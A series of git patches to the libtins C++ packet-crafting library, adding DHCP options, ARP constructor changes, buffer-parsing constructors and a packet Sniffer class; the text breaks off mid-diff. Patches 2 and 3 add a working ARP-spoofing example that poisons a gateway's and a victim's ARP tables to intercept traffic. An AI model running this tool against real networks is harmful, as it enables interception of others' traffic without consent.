From 9efee446f0b7a028d02c003d09ad64f9858de9f4 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Thu, 18 Aug 2011 11:04:22 -0300 Subject: [PATCH 1/7] Added more DHCP options. --- include/dhcp.h | 49 ++++++++++++++++++++++++++++++++++++++++-- src/dhcp.cpp | 58 +++++++++++++++++++++++++++++++++++++++++++++----- src/udp.cpp | 6 +++--- 3 files changed, 103 insertions(+), 10 deletions(-) diff --git a/include/dhcp.h b/include/dhcp.h index 9cb830e..3294d57 100644 --- a/include/dhcp.h +++ b/include/dhcp.h @@ -24,6 +24,7 @@ #include +#include #include "bootp.h" @@ -133,7 +134,7 @@ namespace Tins { uint8_t option, length; uint8_t *value; - DHCPOption(uint8_t opt, uint8_t len, uint8_t *val); + DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val); }; /** @@ -144,6 +145,13 @@ namespace Tins { */ DHCP(); + /** + * \brief DHCP destructor + * + * Releases the memory allocated for options. + */ + ~DHCP(); + /** * \brief Adds a new option to this DHCP PDU. * @@ -154,7 +162,7 @@ namespace Tins { * \param val The value of this option. * \return True if the option was added successfully. */ - bool add_option(Options opt, uint8_t len, uint8_t *val); + bool add_option(Options opt, uint8_t len, const uint8_t *val); /** * \brief Adds a type option the the option list. @@ -177,6 +185,41 @@ namespace Tins { */ bool add_lease_time(uint32_t time); + /** + * \brief Adds a subnet mask option. + * \param mask The subnet mask. + * \return True if the option was added successfully. \sa DHCP::add_option + */ + bool add_subnet_mask(uint32_t mask); + + /** + * \brief Adds a routers option. + * \param routers A list of ip addresses in integer notation. + * \return True if the option was added successfully. \sa DHCP::add_option + */ + bool add_routers_option(const std::list &routers); + + /** + * \brief Adds a domain name servers option. + * \param routers A list of ip addresses in integer notation. + * \return True if the option was added successfully. \sa DHCP::add_option + */ + bool add_dns_options(const std::list &dns); + + /** + * \brief Adds a broadcast address option. + * \param addr The broadcast address. + * \return True if the option was added successfully. \sa DHCP::add_option + */ + bool add_broadcast_option(uint32_t addr); + + /** + * \brief Adds a domain name option. + * \param name The domain name. + * \return True if the option was added successfully. \sa DHCP::add_option + */ + bool add_domain_name(const std::string &name); + /** \brief Getter for the options list. * \return The option list. */ @@ -199,6 +242,8 @@ namespace Tins { void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent); + uint8_t *serialize_list(const std::list &int_list, uint32_t &sz); + std::list _options; uint32_t _size; }; diff --git a/src/dhcp.cpp b/src/dhcp.cpp index ee17352..fe6c4da 100644 --- a/src/dhcp.cpp +++ b/src/dhcp.cpp @@ -27,6 +27,8 @@ const uint32_t Tins::DHCP::MAX_DHCP_SIZE = 312; +using namespace std; + /* Magic cookie: uint32_t. * end of options: 1 byte. */ Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) { @@ -35,12 +37,19 @@ Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) { hlen(6); } -Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, uint8_t *val) : option(opt), length(len) { +Tins::DHCP::~DHCP() { + while(_options.size()) { + delete[] _options.front().value; + _options.pop_front(); + } +} + +Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val) : option(opt), length(len) { value = new uint8_t[len]; std::memcpy(value, val, len); } -bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) { +bool Tins::DHCP::add_option(Options opt, uint8_t len, const uint8_t *val) { uint32_t opt_size = len + (sizeof(uint8_t) << 1); if(_size + opt_size > MAX_DHCP_SIZE) return false; @@ -50,16 +59,53 @@ bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) { } bool Tins::DHCP::add_type_option(Flags type) { - return add_option(DHCP_MESSAGE_TYPE, 1, (uint8_t*)&type); + return add_option(DHCP_MESSAGE_TYPE, 1, (const uint8_t*)&type); } bool Tins::DHCP::add_server_identifier(uint32_t ip) { - return add_option(DHCP_SERVER_IDENTIFIER, 4, (uint8_t*)&ip); + return add_option(DHCP_SERVER_IDENTIFIER, 4, (const uint8_t*)&ip); } bool Tins::DHCP::add_lease_time(uint32_t time) { time = Utils::net_to_host_l(time); - return add_option(DHCP_LEASE_TIME, 4, (uint8_t*)&time); + return add_option(DHCP_LEASE_TIME, 4, (const uint8_t*)&time); +} + +bool Tins::DHCP::add_subnet_mask(uint32_t mask) { + return add_option(SUBNET_MASK, 4, (const uint8_t*)&mask); +} + +bool Tins::DHCP::add_routers_option(const list &routers) { + uint32_t size; + uint8_t *buffer = serialize_list(routers, size); + bool ret = add_option(ROUTERS, size, buffer); + delete[] buffer; + return ret; +} + +bool Tins::DHCP::add_dns_options(const list &dns) { + uint32_t size; + uint8_t *buffer = serialize_list(dns, size); + bool ret = add_option(DOMAIN_NAME_SERVERS, size, buffer); + delete[] buffer; + return ret; +} + +bool Tins::DHCP::add_broadcast_option(uint32_t addr) { + return add_option(BROADCAST_ADDRESS, 4, (uint8_t*)&addr); +} + +bool Tins::DHCP::add_domain_name(const string &name) { + return add_option(DOMAIN_NAME, name.size(), (const uint8_t*)name.c_str()); +} + +uint8_t *Tins::DHCP::serialize_list(const list &int_list, uint32_t &sz) { + uint8_t *buffer = new uint8_t[int_list.size() * sizeof(uint32_t)]; + uint32_t *ptr = (uint32_t*)buffer; + for(list::const_iterator it = int_list.begin(); it != int_list.end(); ++it) + *(ptr++) = *it; + sz = sizeof(uint32_t) * int_list.size(); + return buffer; } uint32_t Tins::DHCP::header_size() const { @@ -69,6 +115,7 @@ uint32_t Tins::DHCP::header_size() const { void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent) { assert(total_sz >= header_size()); uint8_t *result = new uint8_t[_size], *ptr = result + sizeof(uint32_t); + // Magic cookie *((uint32_t*)result) = Utils::net_to_host_l(0x63825363); for(std::list::const_iterator it = _options.begin(); it != _options.end(); ++it) { *(ptr++) = it->option; @@ -76,6 +123,7 @@ void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const P std::memcpy(ptr, it->value, it->length); ptr += it->length; } + // End of options result[_size-1] = END; vend(result, _size); BootP::write_serialization(buffer, total_sz, parent); diff --git a/src/udp.cpp b/src/udp.cpp index 417eabd..8199927 100644 --- a/src/udp.cpp +++ b/src/udp.cpp @@ -61,14 +61,14 @@ void Tins::UDP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PD const Tins::IP *ip_packet = dynamic_cast(parent); if(inner_pdu()) length(sizeof(udphdr) + inner_pdu()->size()); + std::memcpy(buffer, &_udp, sizeof(udphdr)); if(!_udp.check && ip_packet) { uint32_t checksum = PDU::pseudoheader_checksum(ip_packet->source_address(), ip_packet->dest_address(), size(), IPPROTO_UDP) + - PDU::do_checksum(buffer + sizeof(udphdr), buffer + total_sz) + PDU::do_checksum((uint8_t*)&_udp, ((uint8_t*)&_udp) + sizeof(udphdr)); + PDU::do_checksum(buffer, buffer + total_sz); while (checksum >> 16) checksum = (checksum & 0xffff)+(checksum >> 16); - _udp.check = Utils::net_to_host_s(~checksum); + ((udphdr*)buffer)->check = Utils::net_to_host_s(~checksum); } - std::memcpy(buffer, &_udp, sizeof(udphdr)); _udp.check = 0; } From 23978343da748ada30ef94ccc1f64d3c4756cf25 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Thu, 18 Aug 2011 12:29:15 -0300 Subject: [PATCH 2/7] Added arp spoofing example. --- examples/arpspoofing.cpp | 79 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 examples/arpspoofing.cpp diff --git a/examples/arpspoofing.cpp b/examples/arpspoofing.cpp new file mode 100644 index 0000000..667fcff --- /dev/null +++ b/examples/arpspoofing.cpp @@ -0,0 +1,79 @@ +#include +#include +#include +#include +#include "arp.h" +#include "utils.h" +#include "ethernetII.h" + +using namespace std; +using namespace Tins; + + +int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) { + PacketSender sender; + uint8_t gw_hw[6], victim_hw[6]; + if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) { + cout << "Could not resolve gateway's ip address.\n"; + return 5; + } + if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) { + cout << "Could not resolve victim's ip address.\n"; + return 6; + } + cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n"; + cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n"; + cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n"; + + + ARP *gw_arp = new ARP(), *victim_arp = new ARP(); + gw_arp->sender_hw_addr(own_hw); + gw_arp->target_hw_addr(gw_hw); + gw_arp->sender_ip_addr(victim); + gw_arp->target_ip_addr(gw); + gw_arp->opcode(ARP::REPLY); + + victim_arp->sender_hw_addr(own_hw); + victim_arp->target_hw_addr(victim_hw); + victim_arp->sender_ip_addr(gw); + victim_arp->target_ip_addr(victim); + victim_arp->opcode(ARP::REPLY); + + EthernetII to_gw(iface, gw_hw, own_hw, gw_arp); + EthernetII to_victim(iface, victim_hw, own_hw, victim_arp); + while(true) { + sender.send(&to_gw); + sender.send(&to_victim); + sleep(5); + } +} + +int main(int argc, char *argv[]) { + if(argc < 3 && cout << "Usage: [Interface=eth0]\n") + return 1; + uint32_t gw, victim, own_ip; + uint8_t own_hw[6]; + string iface("eth0"); + try { + gw = Utils::ip_to_int(argv[1]); + victim = Utils::ip_to_int(argv[2]); + } + catch(...) { + cout << "Invalid ip found...\n"; + return 2; + } + if(argc == 4) + iface = argv[3]; + + uint32_t iface_index; + if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n") + return 3; + if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) { + cout << "Error fetching addresses from " << iface << "\n"; + return 4; + } + + + return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw); +} + From d6ae9d498d1885196152e5e873531a0457671556 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Thu, 18 Aug 2011 15:43:53 -0300 Subject: [PATCH 3/7] Added some arguments to ARP::ARP. --- examples/arpspoofing.cpp | 64 +++++++++++++++++++++++++++++----------- include/arp.h | 2 +- src/arp.cpp | 16 ++++++---- 3 files changed, 58 insertions(+), 24 deletions(-) diff --git a/examples/arpspoofing.cpp b/examples/arpspoofing.cpp index 667fcff..d013a46 100644 --- a/examples/arpspoofing.cpp +++ b/examples/arpspoofing.cpp @@ -1,3 +1,25 @@ +/* + * libtins is a net packet wrapper library for crafting and + * interpreting sniffed packets. + * + * Copyright (C) 2011 Nasel + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + #include #include #include @@ -13,37 +35,40 @@ using namespace Tins; int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) { PacketSender sender; uint8_t gw_hw[6], victim_hw[6]; + + // Resolves gateway's hardware address. if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) { cout << "Could not resolve gateway's ip address.\n"; return 5; } + + // Resolves victim's hardware address. if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) { cout << "Could not resolve victim's ip address.\n"; return 6; } - cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n"; - cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n"; - cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n"; + cout << " Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n"; + cout << " Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n"; + cout << " Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n"; - - ARP *gw_arp = new ARP(), *victim_arp = new ARP(); - gw_arp->sender_hw_addr(own_hw); - gw_arp->target_hw_addr(gw_hw); - gw_arp->sender_ip_addr(victim); - gw_arp->target_ip_addr(gw); + /* We tell the gateway that the victim is at out hw address, + * and tell the victim that the gateway is at out hw address */ + ARP *gw_arp = new ARP(gw, victim, gw_hw, own_hw), + *victim_arp = new ARP(victim, gw, victim_hw, own_hw); + // We are "replying" ARP requests gw_arp->opcode(ARP::REPLY); - - victim_arp->sender_hw_addr(own_hw); - victim_arp->target_hw_addr(victim_hw); - victim_arp->sender_ip_addr(gw); - victim_arp->target_ip_addr(victim); victim_arp->opcode(ARP::REPLY); + /* The packet we'll send to the gateway and victim. + * We include ut hw address as the source address + * in ethernet layer, to avoid possible packet dropping + * performed by any routers. */ EthernetII to_gw(iface, gw_hw, own_hw, gw_arp); EthernetII to_victim(iface, victim_hw, own_hw, victim_arp); while(true) { - sender.send(&to_gw); - sender.send(&to_victim); + // Just send them once every 5 seconds. + if(!sender.send(&to_gw) || !sender.send(&to_victim)) + return 7; sleep(5); } } @@ -53,8 +78,10 @@ int main(int argc, char *argv[]) { return 1; uint32_t gw, victim, own_ip; uint8_t own_hw[6]; + // By default, eth0 is used. string iface("eth0"); try { + // Convert dotted-notation ip addresses to integer. gw = Utils::ip_to_int(argv[1]); victim = Utils::ip_to_int(argv[2]); } @@ -66,14 +93,15 @@ int main(int argc, char *argv[]) { iface = argv[3]; uint32_t iface_index; + // Lookup the interface id. This will be required while forging packets. if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n") return 3; + // Find the interface hardware and ip address. if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) { cout << "Error fetching addresses from " << iface << "\n"; return 4; } - - + // Poison ARP tables :D return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw); } diff --git a/include/arp.h b/include/arp.h index 63fa64d..c7e3386 100644 --- a/include/arp.h +++ b/include/arp.h @@ -50,7 +50,7 @@ namespace Tins { * ARP requests and replies can be constructed easily using * ARP::make_arp_request/reply static functions. */ - ARP(); + ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0); /* Getters */ /** diff --git a/src/arp.cpp b/src/arp.cpp index 6c8d5d1..1f6f171 100644 --- a/src/arp.cpp +++ b/src/arp.cpp @@ -89,12 +89,18 @@ Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, return eth; } -Tins::ARP::ARP() : PDU(0x0608) { +Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) { std::memset(&_arp, 0, sizeof(arphdr)); - this->hw_addr_format(1); - this->prot_addr_format(0x0800); - this->hw_addr_length(6); - this->prot_addr_length(4); + hw_addr_format(1); + prot_addr_format(0x0800); + hw_addr_length(6); + prot_addr_length(4); + sender_ip_addr(sender_ip); + target_ip_addr(target_ip); + if(sender_hw) + sender_hw_addr(sender_hw); + if(target_hw) + target_hw_addr(target_hw); } Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) { From 18750fe18a65204d67af785f68fbdee968541155 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Thu, 18 Aug 2011 20:36:55 -0300 Subject: [PATCH 4/7] Added Sniffer class. Added a constructor to eery PDU subclass which creates an instance of the PDU from a byte array. --- include/arp.h | 12 +++- include/dhcp.h | 25 +++++++- include/ethernetII.h | 21 ++++++- include/icmp.h | 12 +++- include/ip.h | 10 +++- include/pdu.h | 4 +- include/rawpdu.h | 17 ++++-- include/sniffer.h | 111 ++++++++++++++++++++++++++++++++++++ include/tcp.h | 20 ++++++- include/udp.h | 11 +++- include/utils.h | 2 +- src/arp.cpp | 132 +++++++++++++++++++++++-------------------- src/dhcp.cpp | 1 - src/ethernetII.cpp | 25 +++++++- src/icmp.cpp | 21 +++++-- src/ip.cpp | 31 +++++++++- src/pdu.cpp | 5 +- src/rawpdu.cpp | 12 ++-- src/sniffer.cpp | 64 +++++++++++++++++++++ src/tcp.cpp | 45 +++++++++++++++ src/udp.cpp | 14 ++++- 21 files changed, 492 insertions(+), 103 deletions(-) create mode 100644 include/sniffer.h create mode 100644 src/sniffer.cpp diff --git a/include/arp.h b/include/arp.h index c7e3386..9a27dfc 100644 --- a/include/arp.h +++ b/include/arp.h @@ -52,6 +52,14 @@ namespace Tins { */ ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0); + /** + * \brief Constructor which creates an TCP object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + ARP(const uint8_t *buffer, uint32_t total_sz); + /* Getters */ /** * \brief Getter for the sender's hardware address. @@ -305,7 +313,7 @@ namespace Tins { * \return The cloned PDU. * \sa PDU::clone_packet */ - PDU *clone_packet(uint8_t *ptr, uint32_t total_sz); + PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz); private: struct arphdr { @@ -325,7 +333,7 @@ namespace Tins { * * \param arp_ptr The pointer to the arphdr. */ - ARP(arphdr *arp_ptr); + ARP(const arphdr *arp_ptr); void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent); diff --git a/include/dhcp.h b/include/dhcp.h index 3294d57..7239f12 100644 --- a/include/dhcp.h +++ b/include/dhcp.h @@ -131,9 +131,28 @@ namespace Tins { * \brief DHCP options struct. */ struct DHCPOption { - uint8_t option, length; + /** + * \brief The option number. + */ + uint8_t option; + /** + * \brief The value's length in bytes. + */ + uint8_t length; + /** + * \brief The option's value. + */ uint8_t *value; - + + /** + * \brief Creates an instance of DHCPOption. + * + * The option's value is copied, therefore the user should + * manually free any memory pointed by the "val" parameter. + * \param opt The option number. + * \param len The length of the option's value in bytes. + * \param val The option's value. + */ DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val); }; @@ -201,7 +220,7 @@ namespace Tins { /** * \brief Adds a domain name servers option. - * \param routers A list of ip addresses in integer notation. + * \param dns A list of ip addresses in integer notation. * \return True if the option was added successfully. \sa DHCP::add_option */ bool add_dns_options(const std::list &dns); diff --git a/include/ethernetII.h b/include/ethernetII.h index 285a06b..a5ae816 100644 --- a/include/ethernetII.h +++ b/include/ethernetII.h @@ -66,6 +66,14 @@ namespace Tins { */ EthernetII(uint32_t iface_index, const uint8_t* mac_dst = 0, const uint8_t* mac_src = 0, PDU* child = 0); + /** + * \brief Constructor which creates an EthernetII object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + EthernetII(const uint8_t *buffer, uint32_t total_sz); + /* Getters */ /** * \brief Getter for the destination's mac address. @@ -88,7 +96,14 @@ namespace Tins { */ inline uint32_t iface() const { return this->_iface_index; } + /** + * \brief Getter for the payload_type + * \return The payload type. + */ + uint16_t payload_type() const; + /* Setters */ + /** * \brief Setter for the destination's MAC. * @@ -177,11 +192,11 @@ namespace Tins { */ EthernetII(ethhdr *eth_ptr); + void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent); + + ethhdr _eth; uint32_t _iface_index; - - void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent); - }; }; diff --git a/include/icmp.h b/include/icmp.h index 379c507..e63dcf6 100644 --- a/include/icmp.h +++ b/include/icmp.h @@ -57,6 +57,14 @@ namespace Tins { */ ICMP(Flags flag = ECHO_REQUEST); + /** + * \brief Constructor which creates an ICMP object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + ICMP(const uint8_t *buffer, uint32_t total_sz); + /** * \brief Sets the code field. * @@ -273,7 +281,7 @@ namespace Tins { * \return The cloned PDU. * \sa PDU::clone_packet */ - PDU *clone_packet(uint8_t *ptr, uint32_t total_sz); + PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz); private: static uint16_t global_id, global_seq; @@ -298,7 +306,7 @@ namespace Tins { * * \param ptr The icmphdr to clone. */ - ICMP(icmphdr *ptr); + ICMP(const icmphdr *ptr); /** \brief Serialices this ICMP PDU. * \param buffer The buffer in which the PDU will be serialized. diff --git a/include/ip.h b/include/ip.h index 26ac3a5..606c710 100644 --- a/include/ip.h +++ b/include/ip.h @@ -100,6 +100,14 @@ namespace Tins { */ IP(uint32_t ip_dst = 0, uint32_t ip_src = 0, PDU *child = 0); + /** + * \brief Constructor which creates an IP object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + IP(const uint8_t *buffer, uint32_t total_sz); + /** * \brief Destructor for IP objects. * @@ -340,7 +348,7 @@ namespace Tins { * \return The cloned PDU. * \sa PDU::clone_packet */ - PDU *clone_packet(uint8_t *ptr, uint32_t total_sz); + PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz); private: static const uint8_t DEFAULT_TTL; diff --git a/include/pdu.h b/include/pdu.h index 48420f0..078af65 100644 --- a/include/pdu.h +++ b/include/pdu.h @@ -164,7 +164,7 @@ namespace Tins { * \param total_sz The size of the buffer. * \return The cloned PDU. */ - virtual PDU *clone_packet(uint8_t *ptr, uint32_t total_sz) { return 0; } + virtual PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz) { return 0; } protected: /** \brief Serializes this PDU and propagates this action to child PDUs. * @@ -181,7 +181,7 @@ namespace Tins { * \param total_sz The total size of the buffer. * \return Returns the cloned PDU. Will be 0 if cloning failed. */ - PDU *clone_inner_pdu(uint8_t *ptr, uint32_t total_sz); + PDU *clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz); /** \brief Serializes this TCP PDU. * diff --git a/include/rawpdu.h b/include/rawpdu.h index c093542..5d4069e 100644 --- a/include/rawpdu.h +++ b/include/rawpdu.h @@ -37,14 +37,21 @@ namespace Tins { public: /** \brief Creates an instance of RawPDU. * - * The payload is not copied by default, therefore it must be - * manually freed by the user. If the payload was to be copied, - * then the copy flag must be set to true. + * The payload is copied, therefore the original payload's memory + * must be freed by the user. * \param pload The payload which the RawPDU will contain. * \param size The size of the payload. - * \param copy Flag indicating wether to copy the payload. */ - RawPDU(uint8_t *pload, uint32_t size, bool copy = false); + RawPDU(const uint8_t *pload, uint32_t size); + + /** \brief Creates an instance of RawPDU. + * + * The payload is not copied in this constructor, therefore + * it must be manually freed by the user. + * \param pload The payload which the RawPDU will contain. + * \param size The size of the payload. + */ + RawPDU(uint8_t *pload, uint32_t size); /** \brief RawPDU destructor. * diff --git a/include/sniffer.h b/include/sniffer.h new file mode 100644 index 0000000..6f9b3a4 --- /dev/null +++ b/include/sniffer.h @@ -0,0 +1,111 @@ +#ifndef __SNIFFER_H +#define __SNIFFER_H + + +#include +#include +#include "pdu.h" + +namespace Tins { + + /** + * \brief Abstract sniffed packet handler. + * + * Base class to handle sniffed packets when using Sniffer::sniff_loop. + * Users should either inherit this class, or use the template class + * SnifferHandler to provide their own handlers. + */ + class AbstractSnifferHandler { + public: + /** + * \brief AbstractSnifferHandler destructor. + */ + virtual ~AbstractSnifferHandler() { } + /** + * \brief Handle a captured PDU. + * \return Should return false if no more sniffing is required. + */ + virtual bool handle(PDU *pdu) = 0; + }; + + /** + * \brief Sniffer class can be used to sniff packets using filters. + */ + class Sniffer { + public: + /** + * \brief Creates an instance of sniffer. + * \param device The device which will be sniffed. + * \param max_packet_size The maximum packet size to be read. + */ + Sniffer(const std::string &device, unsigned max_packet_size); + + /** + * \brief Sniffer destructor. + * This frees all memory used by the pcap handle. + */ + ~Sniffer(); + + /** + * \brief Compiles a filter and uses it to capture one packet. + * + * This method should be used only when expecting few packets. + * It's innefficient since it recompiles the filter every time it + * is called. To reuse a filter and sniff more efficiently, use + * Sniffer::sniff_loop. + * \param filter The filter which will be used while sniffing. + * \return The captured packet, matching the given filter, 0 if an + * error occured(probably compiling the filter). + */ + PDU *next_pdu(const std::string &filter); + + /** + * \brief Starts a sniffing loop, using a callback object for every + * sniffed packet. + * + * Handlers could be user-provided classes which inherit AbstractSnifferHandler, + * or it could be a specific SnifferHandler specialization. This method deletes + * packets after they are handled, therefore the handlers MUST NOT delete them. + * \param filter The filter to use when sniffing. + * \param cback_handler The callback handler object which should process packets. + * \param max_packets The maximum amount of packets to sniff. 0 == infinite. + */ + void sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets = 0); + private: + bool compile_set_filter(const std::string &filter, bpf_program &prog); + + static void callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet); + + pcap_t *handle; + bpf_u_int32 ip, mask; + }; + + /** + * \brief Concrete implementation of AbstractSnifferHandler. + * + * This class is instantiated using a pointer to the actual handler. + * Every time a packet is sniffed, operator() (PDU*) will be called on + * the given pointer. \sa AbstractSnifferHandler + */ + template class SnifferHandler : public AbstractSnifferHandler { + public: + /** + * Creates an instance of SnifferHandler. + * \param ptr The pointer to the actual handler. + */ + SnifferHandler(T *ptr) : handler(ptr) { } + + /** + * \brief The overriden AbstractSnifferHandler::handle. + * \param pdu The sniffed PDU. + * \return False if no more sniffing is required, otherwise true. + */ + bool handle(PDU *pdu) { + return (*handler)(pdu); + } + private: + T *handler; + }; +}; + +#endif diff --git a/include/tcp.h b/include/tcp.h index 14dc375..05061d2 100644 --- a/include/tcp.h +++ b/include/tcp.h @@ -78,15 +78,21 @@ namespace Tins { * \param dport Destination port. * \param sport Source port. * */ - TCP(uint16_t dport = 0, uint16_t sport = 0); + /** + * \brief Constructor which creates an TCP object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + TCP(const uint8_t *buffer, uint32_t total_sz); + /** * \brief TCP destructor. * * Destructs the TCP instance. Does not free the payload. * */ - ~TCP(); /** @@ -145,6 +151,16 @@ namespace Tins { */ inline uint8_t data_offset() const { return this->_tcp.doff; } + /** + * \brief Gets the value of a flag. + * + * \param tcp_flag The polled flag. + * \return The value of the flag. + */ + uint8_t get_flag(Flags tcp_flag); + + /* Setters */ + /** * \brief Setter for the destination port field. * diff --git a/include/udp.h b/include/udp.h index 477f582..e3baeaa 100644 --- a/include/udp.h +++ b/include/udp.h @@ -34,15 +34,24 @@ namespace Tins { */ class UDP : public PDU { public: - /** \brief UDP constructor. + /** + * \brief UDP constructor. * * Creates an instance of UDP. Destination and source port can * be provided, otherwise both will be 0. * \param dport Destination port. * \param sport Source port. + * \param child The child PDU(optional). * */ UDP(uint16_t dport = 0, uint16_t sport = 0, PDU *child = 0); + /** + * \brief Constructor which creates an UDP object from a buffer and adds all identifiable + * PDUs found in the buffer as children of this one. + * \param buffer The buffer from which this PDU will be constructed. + * \param total_sz The total size of the buffer. + */ + UDP(const uint8_t *buffer, uint32_t total_sz); /** \brief Returns the destination port */ diff --git a/include/utils.h b/include/utils.h index dc7866f..55b4318 100644 --- a/include/utils.h +++ b/include/utils.h @@ -118,7 +118,7 @@ namespace Tins { * * If the lookup fails, false will be returned, true otherwise. * \param iface The interface from which to extract the identifier. - * \param flag The interface id will be returned in this parameter. + * \param id The interface id will be returned in this parameter. */ bool interface_id(const std::string &iface, uint32_t &id); diff --git a/src/arp.cpp b/src/arp.cpp index 1f6f171..d0d9cb7 100644 --- a/src/arp.cpp +++ b/src/arp.cpp @@ -31,66 +31,9 @@ using namespace std; -Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface, - const std::string& target, - const std::string& sender, - const uint8_t* hw_snd) { - uint32_t target_ip = Tins::Utils::resolve_ip(target); - uint32_t sender_ip = Tins::Utils::resolve_ip(sender); - return make_arp_request(iface, target_ip, sender_ip, hw_snd); -} - -Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface, - uint32_t target, - uint32_t sender, - const uint8_t* hw_snd) { - - /* Create ARP packet and set its attributes */ - ARP* arp = new ARP(); - arp->target_ip_addr(target); - arp->sender_ip_addr(sender); - if (hw_snd) { - arp->sender_hw_addr(hw_snd); - } - arp->opcode(REQUEST); - - /* Create the EthernetII PDU with the ARP PDU as its inner PDU */ - EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp); - return eth; -} - -Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, - const string& target, - const string& sender, - const uint8_t* hw_tgt, - const uint8_t* hw_snd) { - - uint32_t target_ip = Tins::Utils::resolve_ip(target); - uint32_t sender_ip = Tins::Utils::resolve_ip(sender); - return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd); -} - -Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, - uint32_t target, - uint32_t sender, - const uint8_t* hw_tgt, - const uint8_t* hw_snd) { - - /* Create ARP packet and set its attributes */ - ARP* arp = new ARP(); - arp->target_ip_addr(target); - arp->sender_ip_addr(sender); - arp->target_hw_addr(hw_tgt); - arp->sender_hw_addr(hw_snd); - arp->opcode(REPLY); - - /* Create the EthernetII PDU with the ARP PDU as its inner PDU */ - EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp); - return eth; -} Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) { - std::memset(&_arp, 0, sizeof(arphdr)); + memset(&_arp, 0, 